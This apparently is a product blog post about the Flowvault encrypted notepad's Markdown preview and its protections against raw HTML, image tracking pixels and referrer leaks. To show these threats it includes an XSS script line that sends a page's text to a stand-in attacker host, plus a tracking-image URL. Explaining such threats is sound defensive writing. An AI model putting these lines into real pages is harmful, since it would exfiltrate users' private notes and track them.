Available for hire — privacy-first apps, engineering, and business-idea work.contact@flowdesk.tech
Flowvault
· 10 min readfeaturesecurity

Markdown preview and syntax-highlighted code, without the usual leaks

Why Flowvault's v1.3 renderer blocks raw HTML, gates external images behind a click, strips referrers, and highlights code entirely offline.

Flowvault v1.3 renders your notes as GitHub-flavored Markdown, with syntax-highlighted code blocks and a toolbar toggle between Edit, Preview, and Split views. That bit is not unusual. What isunusual is what the preview deliberately refuses to do: it doesn't execute HTML, it doesn't silently load external images, and it doesn't leak a referrer when you click a link. For a zero-knowledge notepad, the renderer is just as much a threat-model surface as the crypto — so this post explains exactly what we shipped, and exactly what we chose not to.

What actually ships

Open any Flowvault notebook and look at the top-right of the editor toolbar: you'll see a new segmented control with Edit, Preview, and (on wide enough viewports) Split. Your notes are still stored as plain Markdown text inside the same fixed-size encrypted slot; the preview is a view over those bytes, not a separate document. Save shortcuts, dirty-state tracking, optimistic concurrency, and .fvault export all keep working identically — switching view modes doesn't touch the ciphertext.

The toggle preference lives in localStorage, not in the vault, on purpose. Your 512 KiB slot is precious. What view mode you prefer on your own device is UI state, not content, and we'd rather not spend bytes of hidden-volume space on it.

Which Markdown flavor?

GitHub-flavored Markdown, via react-markdown plus the remark-gfm plugin. Concretely that means:

  • Headings, paragraphs, hard and soft line breaks.
  • Bold, italic, and ~~strikethrough~~.
  • Ordered / unordered lists, nested lists, and task lists (- [x] done) — which are actually useful for a private notepad.
  • Tables, blockquotes, horizontal rules.
  • Inline code and fenced code blocks with per-language syntax highlighting.
  • Autolinks (<https://…>) and standard link syntax.
  • Images, gated behind the click-to-load pattern below.

That's it for v1.3. You won't find Mermaid diagrams or KaTeX math, and that's a deliberate trade: each would add >100 KB to the bundle for a niche use case, and both introduce their own parser-shaped attack surfaces. If you need either, open an issue — but the default is lean.

Why raw HTML is blocked, and will stay blocked

Every popular Markdown renderer has a quietly-terrifying capability: <script>, <iframe>, <object>, <img onerror=…> and friends, embedded directly inside Markdown, will happily execute in a preview unless the renderer explicitly refuses. Some apps “sanitise” HTML with an allow-list. Flowvault just refuses. Raw HTML passes through as literal text.

<!-- In a Flowvault note: this renders as visible text, not as a tag --> <script>fetch("https://attacker/x?data=" + document.body.innerText)</script>

Two reasons. First, Flowvault's pitch is that the server can't read your notes. That claim collapses the moment a rendered <script>can reach out of the browser carrying your plaintext — a vault that self-exfiltrates on unlock is strictly worse than no encryption at all. Second, vaults are handed around: a trusted-handover beneficiary inherits a vault they didn't write, a .fvaultfile can be restored from one self-host to another, and decoy notebooks might be pre-seeded by a collaborator. Rendering arbitrary HTML from content you didn't author is self-XSS-as-a-service. We keep the rule simple: no tags, no toggles, no “advanced mode.”

External images are click-to-load, always

Markdown's ![alt](url) syntax issues an HTTP GET the moment the preview mounts, and that GET is a perfect covert channel. Consider:

![pricing chart](https://attacker.example/px.gif?v=target&t=1714000000)

If Flowvault rendered that line directly, three things would leak the instant you unlocked a vault containing it: your IP address (and rough geolocation), your browser fingerprint, and the exact wall-clock time of unlock. If a hostile party can arrange for that Markdown to appear in your vault — e.g. by handing you a .fvault backup to restore, by pre-seeding a decoy, or by being a collaborator on a shared URL — they've built a tripwire that fires the moment you log in.

Flowvault blocks that channel. External images render as a placeholder that shows the exact URL they would load, with an explicit “Load image” button that warns the click will send a request to the host. You get full informed consent before a single pixel crosses the network. And when you do load it, we still set referrerPolicy="no-referrer", so the destination host doesn't learn which Flowvault URL or local file the image was embedded in.

Inline base64 data:images render immediately, because they're part of the vault bytes you just decrypted — no network request, no leak.

Every external link the preview renders is hardened the same way:

  • target="_blank"so Flowvault doesn't navigate away (you'd lose an unsaved draft).
  • rel="noopener"so the destination page can't reach back into the tab that opened it.
  • rel="noreferrer" + referrerPolicy="no-referrer" so the destination site never learns which Flowvault URL or slug was the source.

Non-HTTP URLs (javascript:, data:in link position, custom schemes) render as styled text rather than as clickable links, so there's no “click to execute” path through the preview.

Syntax highlighting, entirely offline

Code blocks are highlighted by prism-react-renderer, which ships with the preview bundle and runs entirely in the browser. That matters because the alternative pattern — lazy-loading a language grammar on first use, or fetching a theme from a CDN — would turn every fenced code block into an outbound network hop. Flowvault's no-third-party posture extends here: once the preview bundle is cached, writing, editing, and rendering code blocks offline is fully functional, and nothing leaves your browser.

Language detection uses the fence label:

```ts export interface VaultRecord { ciphertext: Uint8Array; version: number; } ```

All common languages work (TypeScript, Rust, Go, Python, C, Bash, JSON, YAML, SQL, and so on). Unknown fences render as plain monospace without highlighting rather than crashing.

The preview bundle is lazy-loaded

The entire Markdown + GFM + Prism toolchain weighs in at ~90 KB gzipped, which is fine for a single page but would be silly to pay on every vault open when plenty of users prefer plain text. Flowvault solves this the obvious way: the preview component is imported through next/dynamic with ssr: false, so it's downloaded only when you first switch to Preview or Split. If you live in Edit mode, you never pay for the feature at all — the main editor bundle stays the same size it was in v1.2.

Split view, responsive-by-default

Split view is the power-user mode: Markdown on the left, rendered preview on the right, scrolling independently. It appears only on viewports above ~900 px, because stacking two columns that tight on a phone is worse than either one alone.

When the viewport is narrower, the Split toggle hides itself and the effective mode collapses to Preview (or Edit, whichever you last chose). Crucially we store your intent(“split”) rather than the effective mode, so the next time you open the vault on a laptop the layout comes back without you touching the toggle.

Why there's no WYSIWYG

The obvious product-shaped next step is a live WYSIWYG layer — type **bold** and watch it become bold in place, Notion-style. We thought about it and passed, for two reasons:

  1. Bundle size.A real WYSIWYG Markdown editor (TipTap / ProseMirror / Lexical) adds hundreds of KB of framework code. That's a lot for users who just wanted some bold text.
  2. Portability.One of Flowvault's invariants is that your notes are plain Markdown text, not a proprietary JSON document tree. That keeps the .fvault backup format simple, keeps the plaintext .zip export a pile of real .md files, and keeps self-hosters from having to ship a serialiser on upgrade. A WYSIWYG layer tends to quietly erode that invariant.

Edit / Preview / Split is the compromise: you see the rendering without hiding the source, and the source stays the thing that's encrypted.

The preview's threat-model recap

A quick checklist, since this is a security-first product:

  • What the server sees: unchanged. Still just the opaque ciphertext blob. Markdown rendering is entirely client-side, after decryption.
  • What a malicious note can do: render misleading text, nothing more. No scripts, no iframes, no silent image pings, no trackable link clicks.
  • What a malicious .fvault restore can do: same answer. The restore path writes opaque ciphertext; opening it goes through the same renderer with the same defaults.
  • What a browser extension can still do: read the rendered DOM in your origin, same as it could before. The Markdown preview doesn't change that threat model; extension-level adversaries remain out of scope (same caveat as every browser-based crypto app).

What's next

Short list of things that would ship if there's demand:

  • Per-tab default mode— so a prose tab opens in Preview while a “scratchpad” tab opens in Edit.
  • Mermaid diagrams as an opt-in, separately lazy-loaded module.
  • KaTeX math, same pattern.
  • Copy-button on code blocks, because everyone wants it eventually.

None of these change the security posture of the renderer — the invariants “no HTML, no silent network, no referrer” carry through. Open a GitHub issue for the ones you'd actually use; that's what drives the priority.

Try it

Open any existing Flowvault notebook and click the new Preview toggle; every note you've ever saved will render as Markdown without you changing a byte. It's backwards-compatible with every previous version, works on hosted vaults and Bring-Your-Own-Storage local vaults alike, and it costs zero bytes of your slot to enable. Welcome to a notepad that finally renders what you wrote.

Related posts

Ready to try what you just read about?

Open a URL on the home page (no sign-up), send a self-destructing encrypted note, or seal a message for a future date at /timelock/new.